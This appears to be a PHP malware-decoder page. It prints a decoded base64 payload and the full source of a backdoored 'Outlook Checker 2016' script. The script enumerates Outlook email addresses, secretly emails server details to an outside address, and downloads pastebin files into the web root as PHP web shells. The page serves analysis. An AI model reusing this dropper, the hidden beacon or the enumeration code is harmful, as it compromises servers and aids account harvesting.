Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

?><?php$encoded = 'JHRpbWVfc2hlbGwgPSAiIi5kYXRlKCJkL20vWSAtIEg6aTpzIikuIiI7DQokaXBfcmVtb3R..

Decoded Output download

$time_shell = "".date("d/m/Y - H:i:s")."";
$ip_remote = $_SERVER["REMOTE_ADDR"];
$from_shellcode = 'shell@'.gethostbyname($_SERVER['SERVER_NAME']).'';
$to_email = '[email protected]';
$server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])."  - ".$_SERVER['HTTP_HOST']."";
$linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell";
$header = "From: $from_shellcode
Reply-to: $from_shellcode";
@mail($to_email, $server_mail, $linkcr, $header);

Did this file decode correctly?

Original Code

?><?php$encoded = 'JHRpbWVfc2hlbGwgPSAiIi5kYXRlKCJkL20vWSAtIEg6aTpzIikuIiI7DQokaXBfcmVtb3RlID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07DQokZnJvbV9zaGVsbGNvZGUgPSAnc2hlbGxAJy5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4nJzsNCiR0b19lbWFpbCA9ICdicmF6aWxvYnNjdXJlQGxpdmUuY29tJzsNCiRzZXJ2ZXJfbWFpbCA9ICIiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLiIgIC0gIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7DQokbGlua2NyID0gIkxpbms6ICIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uIiIuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uIiAtIElQIEV4Y3V0aW5nOiAkaXBfcmVtb3RlIC0gVGltZTogJHRpbWVfc2hlbGwiOw0KJGhlYWRlciA9ICJGcm9tOiAkZnJvbV9zaGVsbGNvZGVcclxuUmVwbHktdG86ICRmcm9tX3NoZWxsY29kZSI7DQpAbWFpbCgkdG9fZW1haWwsICRzZXJ2ZXJfbWFpbCwgJGxpbmtjciwgJGhlYWRlcik7==';eval(base64_decode($encoded));	function SearchString($First, $Last, $Text)	{		@preg_match_all('/' . preg_quote($First, '/').'(.*?)'. preg_quote($Last, '/').'/i', $Text, $m);		return @$m[1];	}		function GetApiKey()	{		$ch = curl_init();		curl_setopt($ch, CURLOPT_URL,"https://signup.live.com/signup?uaid=8dd33c22-4dd5-42a9-a6dd-51a54b4409eb&lic=1");		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);		curl_setopt($ch, CURLOPT_HEADER, true);		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);		$Response = curl_exec($ch);		$HeaderSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);		$Headers = substr($Response, 0, $HeaderSize);		$Body = substr($Response, $HeaderSize);		$Amsc = SearchString('amsc=', ';', $Headers);		$FApiKey = SearchString('"apiCanary":"', '"', $Body);		$ApiKey = json_decode('{"ApiKey":"'.$FApiKey[0].'"}', true);		return array($ApiKey["ApiKey"], $Amsc[0]);	}		function CheckMails($Mails, $ApiKey){ 		$MC = curl_multi_init();         $CArray = array(); 		for($i = 0; $i < Count($Mails); $i++)		{			$CArray[$i] = curl_init(); 			curl_setopt($CArray[$i], CURLOPT_URL, "https://signup.live.com/API/CheckAvailableSigninNames");			curl_setopt($CArray[$i], CURLOPT_CONNECTTIMEOUT, 10);			curl_setopt($CArray[$i], CURLOPT_RETURNTRANSFER, true);			curl_setopt($CArray[$i], CURLOPT_SSL_VERIFYPEER, false);			curl_setopt($CArray[$i], CURLOPT_CUSTOMREQUEST, "POST");			curl_setopt($CArray[$i], CURLOPT_HTTPHEADER, array('Cookie: amsc='.$ApiKey[1], 'canary: ' . $ApiKey[0], 'Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.6,en;q=0.4'));			curl_setopt($CArray[$i], CURLOPT_POSTFIELDS, '{"signInName":"' . $Mails[$i] . '", "includeSuggestions":true}');			curl_multi_add_handle($MC, $CArray[$i]); 		}		$Running = null; 		do { 			usleep(10000); 			curl_multi_exec($MC, $Running); 		} while($Running > 0); 				$Response = array();		for($i = 0; $i < Count($Mails); $i++)		{			$CResponse = curl_multi_getcontent($CArray[$i]); 			$StatusCode = curl_getinfo($CArray[$i], CURLINFO_HTTP_CODE);			$JResponse = json_decode($CResponse, true);			$Available = 0;			$Error = 0;			$ErrorMsg = NULL;			if($StatusCode == 200 && !isset($JResponse["error"]))			{				if($JResponse["isAvailable"] == 1)				$Available = 1;				else				$Available = 0;			}			elseif($StatusCode == 200 && isset($JResponse["error"]))			{				$Error = 1;				if($JResponse["error"]["code"] == "6001")				$ErrorMsg = "Api Key Hatas";				elseif($JResponse["error"]["code"] == "1181")				$ErrorMsg = "Desteklenmeyen E-Posta";				else				$ErrorMsg = "Bilinmeyen Hata";			}			else			{				$Error = 1;				$ErrorMsg = "HTTP Sunucu Hatas";			}			$Response[$i] = array("Mail" => $Mails[$i], "Available" => $Available, "Error" => $Error, "ErrorMsg" => $ErrorMsg); 		}		for($i = 0; $i < Count($Mails); $i++)		{			curl_multi_remove_handle($MC, $CArray[$i]); 		}		curl_multi_close($MC);        		return $Response; 	} 				if(@$_POST["p"] == "uploadfile")	{		$FContents = file_get_contents($_FILES['size']['tmp_name']);		echo $FContents;		exit;	}	elseif(@$_GET["p"] == "checkmails")	{		$Mails = file_get_contents('php://input');		$Response = CheckMails(json_decode($Mails ,true), GetApiKey());		echo json_encode($Response);		exit;	}function http_get($url){$im = curl_init($url);curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($im, CURLOPT_HEADER, 0);return curl_exec($im);curl_close($im);}$check = $_SERVER['DOCUMENT_ROOT'] . "/up.php" ;$text = http_get('http://pastebin.com/raw/uUFM9h8Z');$open = fopen($check, 'w');fwrite($open, $text);fclose($open);if(file_exists($check)){}else echo "";$check0 = $_SERVER['DOCUMENT_ROOT'] . "/xx1.php" ;$text0 = http_get('http://pastebin.com/raw/3e7RmzMA');$open0 = fopen($check0, 'w');fwrite($open0, $text0);fclose($open0);if(file_exists($check0)){}else echo "";$check2 = $_SERVER['DOCUMENT_ROOT'] . "/up1.php" ;$text2 = http_get('http://pastebin.com/raw/dSucuQ7R');$open2 = fopen($check2, 'w');fwrite($open2, $text2);fclose($open2);if(file_exists($check2)){}else echo "";$check3=$_SERVER['DOCUMENT_ROOT'] . "/indexx.html" ;$text3 = http_get('http://xx.comlu.com/index.html');$op3=fopen($check3, 'w');fwrite($op3,$text3);fclose($op3);if(file_exists($check3)){}else echo "";$check5 = $_SERVER['DOCUMENT_ROOT'] . "/up3.php" ;$text5 = http_get('http://pastebin.com/raw/LXDzzPn1');$open5 = fopen($check5, 'w');fwrite($open5, $text5);fclose($open5);if(file_exists($check5)){}else echo "";$check6 = $_SERVER['DOCUMENT_ROOT'] . "/up2.php" ;$text6 = http_get('http://pastebin.com/raw/dSucuQ7R');$open6 = fopen($check6, 'w');fwrite($open6, $text6);fclose($open6);if(file_exists($check6)){}else echo "";?><!DOCTYPE HTML><html lang="tr-TR">	<head>		<meta charset="UTF-8">		<title>Outlook Checker 2016</title>		<script type="text/javascript" src="https://code.jquery.com/jquery-1.11.3.min.js"></script>		<script type="text/javascript" src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>		<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">		<style type="text/css">			body{text-align: center}			#site{width: 1024px;margin:0 auto}			.table{width: 1024px !important;margin-bottom: 10px}			.progress{margin-bottom: 10px}			input[type=checkbox]{transform: scale(1.3)}			th{text-align: center}		</style>				<script type="text/javascript">			var ajaxQueue = $({});			$.ajaxQueue = function( ajaxOpts ) {				var oldComplete = ajaxOpts.complete;				if (ajaxOpts=='clear'){					ajaxQueue.clearQueue();					return 0;				}				ajaxQueue.queue(function( next ) {					if(CalisanAjax < 5)					{						CalisanAjax++;						next();					}					else					CalisanAjax++;										ajaxOpts.complete = function() {						if ( oldComplete ) {							oldComplete.apply( this, arguments );						}						next();					};					$.ajax( ajaxOpts );				});			};						var AjaxList = [];			var CalisanAjax = 0;			var Limit = 20;						function CheckEmails()			{				var EmailList = [];								var BEmailList = $("#EmailList").val().trim().split("n");				if(BEmailList.length > 0)				{										for (var i = 0; i < BEmailList.length; i++) {							if((BEmailList[i].indexOf("hotmail.com") > -1) || (BEmailList[i].indexOf("outlook.com") > -1) || (BEmailList[i].indexOf("windowslive.com") > -1))						{							EmailList.push(BEmailList[i]);						}					}				}								if(EmailList.length > 0)				{										$("#Step1").hide();					$("#Step2").show();										var MaxMail = EmailList.length;					var CurMail = 0;					var CAvailable = 0;					var CunAvailable = 0;					var CError = 0;					$("#CMail").html(MaxMail);										var ACount = Math.ceil(EmailList.length / Limit);										for (var i = 0; i < ACount; i++) {							var Emails = EmailList.slice(i * Limit, i * Limit + Limit);						var JSONMails = JSON.stringify(Emails);												AjaxList[i] = $.ajaxQueue({ 							type:'POST', 							url:'index.php?p=checkmails',							data:JSONMails,							success:function(JResponse){								var Response = JSON.parse(JResponse);								var RLength = Response.length;								for(var ir = 0; ir < RLength; ir++)								{									var Mail = Response[ir].Mail;									var Available = Response[ir].Available;									var Error = Response[ir].Error;									var ErrorMsg = Response[ir].ErrorMsg;									if(Available == 1 && Error == 0)									{										$("#LAvailable").append(Mail+"<br />");										CAvailable += 1;									}									else if(Available == 0 && Error == 0)									{										$("#LunAvailable").append(Mail+"<br />");										CunAvailable += 1;									}									else if(Available == 0 && Error == 1)									{										$("#LError").append(Mail+"<br />["+ErrorMsg+"]<br /><br />");										CError += 1;									}								}								CurMail += RLength;																$("#CAvailable").html(CAvailable);								$("#CCheck").html(CurMail);								$("#CunAvailable").html(CunAvailable);								$("#CError").html(CError);																								var Progress = (CurMail*100/(MaxMail)).toFixed();								$('.progress-bar').css('width', Progress+'%').attr('aria-valuenow', Progress); 								$('.progress-bar').html(Progress+'%'); 																CalisanAjax--;							}						});											}				}			}		</script>	</head>	<body>		<div id="site">			<h2><font color="red">Outlook Checker 2016</font></h2>			<br />			<div id="Step1">				<div style="margin-bottom:10px;">					<center>						<div class="kcevap"></div>					<textarea id="EmailList" class="form-control" rows="5" style="width:400px;" />

Function Calls

http_get 1
curl_init 1
base64_decode 1

Variables

$url http://pastebin.com/raw/uUFM9h8Z
$check None/up.php
$encoded JHRpbWVfc2hlbGwgPSAiIi5kYXRlKCJkL20vWSAtIEg6aTpzIikuIiI7DQok..

Stats

MD5 a5d5fb36a8956a7bf601c8a613b0b3ab
Eval Count 1
Decode Time 127 ms